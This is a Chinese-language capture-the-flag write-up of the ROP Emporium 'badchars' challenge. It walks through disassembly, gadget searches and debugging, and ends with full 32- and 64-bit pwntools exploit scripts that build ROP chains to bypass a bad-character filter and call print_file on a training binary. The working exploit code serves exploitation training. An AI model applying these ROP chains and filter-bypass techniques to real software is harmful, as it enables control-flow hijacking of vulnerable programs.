ROP_Emporium_badchars
文章目录
- 1. badchars32
- 信息收集
- 黑盒测试
- 反汇编
- 思路
- Exp
- 2. badchars
- 信息
- 反汇编
- 构造Payload
- 调试分析
- Exp
- 3. 参考文章
1. badchars32
信息收集
题目提供了一个可执行文件badchars32, 一个动态库libbadchars32.so,一个flag.txt。
$ file badchars32
badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=48ae8ea56ad3b3ef64444a622db86aa4f0f26b7d, not stripped
$ file libbadchars32.so
libbadchars32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9987e654d1d6aec3dbc0abbab74a28d1ab8b6286, not stripped
$ checksec libbadchars32.so
[*] '/home/starr/Documents/CProject/pwn/libbadchars32.so'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: PIE enabled
黑盒测试
$ ./badchars32 < cyclic.txt
badchars by ROP Emporium
x86badchars are: 'x', 'g', 'a', '.'
> Thank you!
Segmentation fault (core dumped)
$ gdb ./badchars32 ./badchars32.core.5172
...
Core was generated by `./badchars32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xebebeb6c in ?? ()
pwndbg> cyclic -l 0xebebeb6c
[CRITICAL] Pattern contains characters not present in the alphabet
这里定位溢出点失败了,应该和字符过滤有关,需要分析一下。
反汇编
$ objdump -d -M intel badchars32080483b0 <pwnme@plt>:
...
080483d0 <print_file@plt>:
...
08048506 <main>:8048506: 8d 4c 24 04 lea ecx,[esp+0x4]804850a: 83 e4 f0 and esp,0xfffffff0804850d: ff 71 fc push DWORD PTR [ecx-0x4]8048510: 55 push ebp8048511: 89 e5 mov ebp,esp8048513: 51 push ecx8048514: 83 ec 04 sub esp,0x48048517: e8 94 fe ff ff call 80483b0 <pwnme@plt>804851c: b8 00 00 00 00 mov eax,0x08048521: 83 c4 04 add esp,0x4...8048529: c3 ret0804852a <usefulFunction>:804852a: 55 push ebp804852b: 89 e5 mov ebp,esp804852d: 83 ec 08 sub esp,0x88048530: 83 ec 0c sub esp,0xc8048533: 68 e0 85 04 08 push 0x80485e0 # nonexistent8048538: e8 93 fe ff ff call 80483d0 <print_file@plt>804853d: 83 c4 10 add esp,0x108048540: 90 nop8048541: c9 leave8048542: c3 ret08048543 <usefulGadgets>:8048543: 00 5d 00 add BYTE PTR [ebp+0x0],bl8048546: c3 ret8048547: 30 5d 00 xor BYTE PTR [ebp+0x0],bl804854a: c3 ret804854b: 28 5d 00 sub BYTE PTR [ebp+0x0],bl804854e: c3 ret804854f: 89 37 mov DWORD PTR [edi],esi8048551: c3 ret
$ strings -t x badchars32 | grep 5e05e0 nonexistent$ objdump -d -M intel libbadchars32.so
000006bd <pwnme>:...711: 8d 45 c8 lea eax,[ebp-0x38]714: 83 c0 10 add eax,0x10717: 50 push eax718: e8 83 fe ff ff call 5a0 <memset@plt>...747: 68 00 02 00 00 push 0x20074c: 8d 45 c8 lea eax,[ebp-0x38]74f: 83 c0 10 add eax,0x10752: 50 push eax753: 6a 00 push 0x0755: e8 c6 fd ff ff call 520 <read@plt> read(stdin, exp-0x28, 0x200)...000007cf <print_file>:7cf: 55 push ebp7d0: 89 e5 mov ebp,esp7d2: 53 push ebx7d3: 83 ec 34 sub esp,0x34...7eb: 8d 83 cb e8 ff ff lea eax,[ebx-0x1735] "r"7f1: 50 push eax7f2: ff 75 08 push DWORD PTR [ebp+0x8]7f5: e8 96 fd ff ff call 590 <fopen@plt>...862: c3 ret
主函数调用so中有溢出漏洞的pwnme函数,根据so的反汇编代码手算一下,溢出点偏移应该是(ebp+4) - (ebp-0x28) == 44
,其实和前几题一样。
而so中的print_file,可以用来输出flag。
pwnme函数中还有对输入字符串的检查,用ida分析一下:
.text:00000723 lea eax, (aBadcharsAreXGA - 2000h)[ebx] ; "badchars are: 'x', 'g', 'a', '.'"
.text:00000729 push eax ; s
.text:0000072A call _puts
.text:0000074C lea eax, [ebp+nInputBytes]
.text:0000074F add eax, 10h
.text:00000752 push eax ; buf
.text:00000753 push 0 ; fd
.text:00000755 call _read
.text:0000075A add esp, 10h
.text:0000075D mov [ebp+nInputBytes], eax
.text:00000760 mov [ebp+i], 0
.text:00000767 jmp short beginChecking
.text:00000769 ; ---------------------------------------------------------------------------
.text:00000769
.text:00000769 loopCheckInput: ; CODE XREF: pwnme+F8↓j
.text:00000769 mov [ebp+j], 0
.text:00000770 jmp short badchars_0_3
.text:00000772 ; ---------------------------------------------------------------------------
.text:00000772
.text:00000772 checkLogic: ; CODE XREF: pwnme+E5↓j
.text:00000772 mov eax, [ebp+i]
.text:00000775 movzx ecx, [ebp+eax+arrInput] ; arrInput[i]
.text:0000077A mov eax, [ebp+j]
.text:0000077D mov edx, ds:(badcharacters_ptr - 2000h)[ebx]
.text:00000783 movzx eax, byte ptr [edx+eax] ; badcharacters[j]
.text:00000787 cmp cl, al
.text:00000789 jnz short nextBadChar
.text:0000078B mov eax, [ebp+i] ; if(arrInput[i] == badchars[j])
.text:0000078B ; arrInput[i] = 0xEB
.text:0000078E mov [ebp+eax+arrInput], 0EBh
.text:00000793
.text:00000793 nextBadChar: ; CODE XREF: pwnme+CC↑j
.text:00000793 mov eax, [ebp+j]
.text:00000796 add eax, 1
.text:00000799 mov [ebp+j], eax
.text:0000079C
.text:0000079C badchars_0_3: ; CODE XREF: pwnme+B3↑j
.text:0000079C mov eax, [ebp+j]
.text:0000079F cmp eax, 3
.text:000007A2 jbe short checkLogic
.text:000007A4 mov eax, [ebp+i]
.text:000007A7 add eax, 1
.text:000007AA mov [ebp+i], eax
.text:000007AD
.text:000007AD beginChecking: ; CODE XREF: pwnme+AA↑j
.text:000007AD mov edx, [ebp+i]
.text:000007B0 mov eax, [ebp+nInputBytes]
.text:000007B3 cmp edx, eax
.text:000007B5 jb short loopCheckInput
.text:000007B7 sub esp, 0Ch
.text:000007BA lea eax, (aThankYou - 2000h)[ebx] ; "Thank you!"
坏字符一共4个,”x, g, a, .“,对输入的每个字符进行检查,如果发现坏字符则赋值为0xEB。所以在黑盒测试时,0xebebeb6c是3个a被替换后的数据。
思路
先假设没有过滤,那么需要把flag.txt字符串写进.data里,再返回到print_file。思路和write432一样。
搜索一下pop和mov:
pwndbg> rop --grep "pop|mov"
...
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
...
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048548 : pop ebp ; add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
...
0x0804854f处的mov,和0x080485b8,0x080485b9的pop指令看起来可以搭配。简单构造一下payload:
padding len 44pGadget1 pop esi ; pop edi ; pop ebp ; ret
"flag" pop to esi
pData pop to edi
padding pop to ebp
pGadget2 mov dword ptr [edi], esi ; ret "flag" --> .datapGadget1 重复两次
".txt"
pData+4
padding
pGadget2pPrintFile
padding 当然最好是一个正常的返回地址
pData
然后考虑坏字符的问题。梳理下流程:
- read之后马上检查坏字符,所以输入的字符串应该是经过解密的,比如a+1–>b,或者xor一下也行;
- 需要再找一段gadget,将输入字符解码,比如add, sub, xor,然后再存到.data里。
搜一下:
pwndbg> rop --grep "sub|add|xor"
0x08048523 : add al, 0x59 ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804846e : add al, 8 ; call eax
0x080484bb : add al, 8 ; call edx
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048549 : add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x08048520 : add byte ptr [ebx + 0x5d5904c4], al ; lea esp, [ecx - 4] ; ret
...
0x0804854b : sub byte ptr [ebp], bl ; ret
0x080484b4 : sub esp, 0x10 ; push eax ; push 0x804a020 ; call edx
0x08048468 : sub esp, 0x14 ; push 0x804a020 ; call eax
0x0804837d : sub esp, 8 ; call 0x8048449
0x08048478 : test byte ptr [ebp + 0x27bc], 0 ; add bl, dh ; ret
0x08048713 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
搜索结果要根据gadget1和gadget2来筛选,关注ebx、esi、edi、ebp这几个寄存器。注意到0x08048543处的指令,它可以将ebp指向的字节加上bl。从加密的角度,ebp指向密文,bl就是密钥。这里就取bl为1来构造payload吧。当然如果加密后还是坏字符,就得考虑异或之类的了。
其实,0x08048543,0x08048547, 0x0804854b三处指令都是出题人在usefulGadged函数提供的。
这个gadget3的使用方法:
- 因为是操作内存,所以应该放在pGadget2之后,此时已经将加密的字符串存到了.data中;
- 因为每次只能解密1个字节,所以要重复4次("flag.txt"有4个坏字节),并且需要有pop ebx, pop ebp这样的gadget,幸运的是刚刚搜索pop有这两条结果;
- 因为pGadget1里面也有pop ebx, pop ebp,所以别浪费,存储一次就解密一次。
并且因为用到了ebx,gadget1也要换成0x080485b8处的指令。
别忘了获取一下.data地址:
$ readelf -S badchars32 | grep .data[16] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
构造payload:
padding len 44pGadget1 0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000001 pop to ebx
"fl`f" pop to esi
pData pop to edi 存储位置 0x0804a018
pData + 2 pop to ebp a的密文
pGadget2 0x0804854f : mov dword ptr [edi], esi ; ret;
pGadgetDecrypt add byte ptr [ebp], bl ; ret 解密得到a继续解密
pGadgetPopEbx 0x0804839d : pop ebx ; ret
0x000001
pGadgetPopEbp 0x080485bb : pop ebp ; ret
pData + 3 g的密文
pGadgetDecrypt 解密得到gpGadget1 第二次存储
0x000001
"-twt"
pData+4 存储位置
pData+4 .的密文
pGadget2
pGadgetDecrypt 解密得到.继续解密
pGadgetPopEbx
0x000001
pGadgetPopEbp
pData + 6 x的密文
pGadgetDecrypt 解密得到xpPrintFile
padding 最好是一个正常的返回地址
pData
Exp
from pwn import *context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):encryptedStr = ""for i in range(len(plainStr)):if plainStr[i] in badChars:encryptedStr += chr(ord(plainStr[i]) - byKey);else:encryptedStr += plainStr[i]return encryptedStrnBufOverflowIndex = 44
pPltPrintFile = 0x080483d0;
pGadgetPopEbxEsiEdiEbp = 0x080485b8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pGadgetMoveEsiToEdi = 0x0804854f # mov dword ptr [edi], esi ; ret;
pGadgetPopEbx = 0x0804839d # pop ebx ; ret
pGadgetPopEbp = 0x080485bb # pop ebp ; ret
pGadgetDecrypt = 0x08048543 # add byte ptr [ebp], bl ; ret
pDataSection = 0x0804a018
byKey = 0x01encryptedFlagTxt = encryptSubOne("flag.txt", byKey)# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding = "ascii");# 2.1 store encrypt("flag") and decrypt
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey) # pop to ebx
payload += bytes(encryptedFlagTxt[:4], encoding = "ascii") # pop to esi
payload += p32(pDataSection) # pop to edi 存储位置
payload += p32(pDataSection + 2) # pop to ebp a的密文
payload += p32(pGadgetMoveEsiToEdi) # mov dword ptr [edi], esi ; ret; 存入.data
payload += p32(pGadgetDecrypt) # add byte ptr [ebp], bl ; ret 解密得到a# 2.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey) # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 3) # pop to ebp g的密文
payload += p32(pGadgetDecrypt) # 解密得到g# 3.1 第二次存储
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey) # pop to ebx
payload += bytes(encryptedFlagTxt[4:], encoding = "ascii") # pop to esi
payload += p32(pDataSection+4) # pop to edi 存储位置
payload += p32(pDataSection+4) # pop to ebp .的密文
payload += p32(pGadgetMoveEsiToEdi) # 存入.data
payload += p32(pGadgetDecrypt) # 解密得到 .# 3.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey) # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 6) # pop to ebp x的密文
payload += p32(pGadgetDecrypt) # 解密得到x# 4. print_file("flag.txt")
payload += p32(pPltPrintFile)
payload += bytes("B" * int(context.bits/8), encoding = "ascii"); # 最好是一个正常的返回地址
payload += p32(pDataSection)io = getio("./badchars32")io.recvuntil(">")# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'
2. badchars
信息
确认下.data段的地址:
$ readelf -S badchars | grep .data[15] .rodata PROGBITS 00000000004006c0 000006c0[23] .data PROGBITS 0000000000601028 00001028
反汇编
64位版本,可以一次传递8个字节,先反汇编看看传参,确认是用rdi传递字符串参数:
$ objdump -d -M intel badchars
...
0000000000400510 <print_file@plt>:
...
0000000000400617 <usefulFunction>:400617: 55 push rbp400618: 48 89 e5 mov rbp,rsp40061b: bf c4 06 40 00 mov edi,0x4006c4400620: e8 eb fe ff ff call 400510 <print_file@plt>400625: 90 nop
...
0000000000400628 <usefulGadgets>:400628: 45 30 37 xor BYTE PTR [r15],r14b40062b: c3 ret40062c: 45 00 37 add BYTE PTR [r15],r14b40062f: c3 ret400630: 45 28 37 sub BYTE PTR [r15],r14b400633: c3 ret400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12400638: c3 ret
...
$ objdump -d -M intel libbadchars.so
...
00000000000008fa <pwnme>:
...972: 48 8d 45 c0 lea rax,[rbp-0x40]976: 48 83 c0 20 add rax,0x2097a: ba 00 02 00 00 mov edx,0x20097f: 48 89 c6 mov rsi,rax982: bf 00 00 00 00 mov edi,0x0987: e8 34 fe ff ff call 7c0 <read@plt> read(stdin, rsi, 0x200)
...
0000000000000a07 <print_file>:a07: 55 push rbpa08: 48 89 e5 mov rbp,rspa0b: 48 83 ec 40 sub rsp,0x40a0f: 48 89 7d c8 mov QWORD PTR [rbp-0x38],rdia13: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0a1a: 00a1b: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38]a1f: 48 8d 35 d1 00 00 00 lea rsi,[rip+0xd1] # af7 <badcharacters+0x57>a26: 48 89 c7 mov rdi,raxa29: e8 c2 fd ff ff call 7f0 <fopen@plt>
...
同时确认溢出点偏移(rbp+8) - (rbp-0x40 + 0x20) == 0x28
构造Payload
搜一下gadget,关注rdi参数:
pwndbg> rop --grep "pop|mov"
...
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400687 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x0000000000400686 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
.
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret !!!!!!!!!!!!!
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret !!!!!!!!!
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret !!!!!!!!!!!!!!!
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400634处的mov指令,可以利用。pop指令就关注一下r13和r12寄存器(有两个),0x000000000040069c处的pop应该可以用。
0x00000000004006a0处pop r14, pop r15也可以用来获取key和密文地址。
0x00000000004006a3处pop rdi,用来最后传参给print_file。
然后搜一下解密gadget,关注r14和r15:
pwndbg> rop --grep "add|sub|xor"
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040061e : add al, bpl ; jmp 0x40062a
0x000000000040061f : add al, ch ; jmp 0x400629
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret !!!!!
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
...
0x0000000000400630 : sub byte ptr [r15], r14b ; ret
0x0000000000400631 : sub byte ptr [rdi], dh ; ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
...
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret
有0x000000000040062c、 0x0000000000400630、0x0000000000400628三处指令可以用,当然这也是作者在usefulGadgets函数提供的。
思路和32位大致一样:
padding len 0x28
pGadgetPop 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
encrypt("flag.txt") pop str to r12
pData pop .data addr to r13
1 pop key to r14
pData + 2 pop to r15 a的密文
pGadgetMovR13ToR12 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
pGadgetDecrypt 0x000000000040062c : add byte ptr [r15], r14b ; ret 获取apGadgetPopR14R15 0x00000000004006a0 : pop r14 ; pop r15 ; ret
1 key
pData + 3 g的密文
pGadgetDecrypt 获取gpGadgetPopR14R15
1 key
pData + 4 .的密文
pGadgetDecrypt 获取.pGadgetPopR14R15
1 key
pData + 6 x密文
pGadgetDecrypt 获取xpGadgetPopRdi 0x00000000004006a3 : pop rdi ; ret
pData
pPltPrintFile 0x0000000000400510
调试分析
运行脚本后报错:
Failed to open file: flag.twt
"x"没有被成功解密,经过调试,发现问题出在.data的地址上:
>>> hex(0x601028+6)
'0x60102e'
>>> chr(0x2e)
'.'
x的密文所在的地址,被当作坏字符, 赋值为0xEB了,,,如下R15寄存器:
*R15 0x6010eb ◂— 0x0RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7fff8ef4c1b8 —▸ 0x40062c (usefulGadgets+4) ◂— add byte ptr [r15], r14b /* 'E' */
*RIP 0x4006a4 (__libc_csu_init+100) ◂— ret
───────────────────[ DISASM ]────────────────────────0x4006a3 <__libc_csu_init+99> pop rdi► 0x4006a4 <__libc_csu_init+100> ret <0x40062c; usefulGadgets+4>↓0x40062c <usefulGadgets+4> add byte ptr [r15], r14b
那么试着将目标地址加上7个字节,就不会有地址包含坏字节了。
Exp
from pwn import *context.arch = "amd64"
context.bits = 64
context.os = "linux"def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):encryptedStr = ""for i in range(len(plainStr)):if plainStr[i] in badChars:encryptedStr += chr(ord(plainStr[i]) - byKey);else:encryptedStr += plainStr[i]return encryptedStrnBufOverflowIndex = 0x28
pDataSection = 0x0000000000601028 + 7 # 0x0000000000601028 + 6 --> badchar 0x2e
pPltPrintFile = 0x0000000000400510
pGadgetPop = 0x000000000040069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pGadgetMovR13ToR12 = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
pGadgetDecrypt = 0x000000000040062c # add byte ptr [r15], r14b ; ret 获取a
pGadgetPopR14R15 = 0x00000000004006a0 # pop r14 ; pop r15 ; ret
pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; ret
byKey = 0x1;encryptedFlagTxt = encryptSubOne("flag.txt", byKey)# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding="ascii")# 2. store encryped "flag.txt" to .data and decrypt one byte
payload += p64(pGadgetPop) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += bytes(encryptedFlagTxt, encoding="ascii") # pop str to r12
payload += p64(pDataSection) # pop .data addr to r13
payload += p64(byKey) # key to r14
payload += p64(pDataSection + 2) # pop to r15 a的密文
payload += p64(pGadgetMovR13ToR12) # mov qword ptr [r13], r12 ; ret
payload += p64(pGadgetDecrypt) # add byte ptr [r15], r14b ; ret 获取a# 3. decrypt other bytes
payload += p64(pGadgetPopR14R15) # pop r14 ; pop r15 ; ret
payload += p64(byKey) # key
payload += p64(pDataSection + 3) # g的密文
payload += p64(pGadgetDecrypt) # 获取gpayload += p64(pGadgetPopR14R15)
payload += p64(byKey) # key
payload += p64(pDataSection + 4) # .的密文
payload += p64(pGadgetDecrypt) # 获取.payload += p64(pGadgetPopR14R15)
payload += p64(byKey) # key
payload += p64(pDataSection + 6) # x密文
payload += p64(pGadgetDecrypt) # 获取x# 4. print_file("flag.txt")
payload += p64(pGadgetPopRdi) # pop rdi ; ret
payload += p64(pDataSection)
payload += p64(pPltPrintFile) io = getio("./badchars")io.recvuntil(">")# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
3. 参考文章
ROPEmporium: badchars 32-bit | (cavetownie.github.io)
ROP_Emporium_badchars相关推荐
最新文章
- 13.配置 influxDB 鉴权及 HTTP API 写数据的方法
- 3_11 InterpreterMode 解释器模式
- html 属性中嵌套php,如何在PHP中使用嵌套数组创建HTML数据属性字符串?
- notebook python 内嵌 数据库_python数据分析:在jupyter notebook上使用pythonSQL做数据分析...
- Java基础教程:IO流与文件基础
- Window系统 安装TFLearn
- 计算机毕业设计java+SSM网上购物超市网站(源码+系统+mysql数据库+Lw文档)
- 多套 企业/工厂/超市/仓库库存管理系统源码 工具软件程序源代码
- 【Unity】雷达+Unity +TUIO 介绍一
- Python京东爬虫
- 真正高质量的免费高速高防空间!
- 美团网站底部超链接部分设计实现
- 开放性金融中的超流动性抵押链
- python函数名词解释_python的面向对象程序设计(名词解释及实例)
- 移动网流量用户身份识别系统的源代码_护照阅读器识别身份证、护照、港澳通行证 、军官证...
- discuz的php7版本
- 一分钟学会手工注册BHO
- 常见的纸张及相片尺寸
- cancase lin管脚_Vector CANCASE XL+CABLE 模块
- wondows10使用vcpkg编译colmap的教程(带suitesparse)
热门文章
- itchat微信好友信息统计(性别区域)
- LPR车牌识别-pytorch上分之路
- 用ADI官方源码构建任意Xilinx的ZYNQ平台下的ADI芯片控制程序(1)——硬件平台搭建篇
- Python - 3.6 学习二
- 对于ESP、EBP寄存器的理解
- 生活应该过成现在的样子吗?
- 超模脸、网红脸、萌娃脸...换头像不重样?我开源了5款人脸生成器
- 全球化观点的生产模式
- halcon裁剪图像_Halcon将裁剪后的图像还原为原始大小
- 谷胱甘肽(GSH)修饰的CdTe/CdS量子点(GSH-CdTe/CdSQDs)|PEG修饰水溶性量子点ZnS:Mn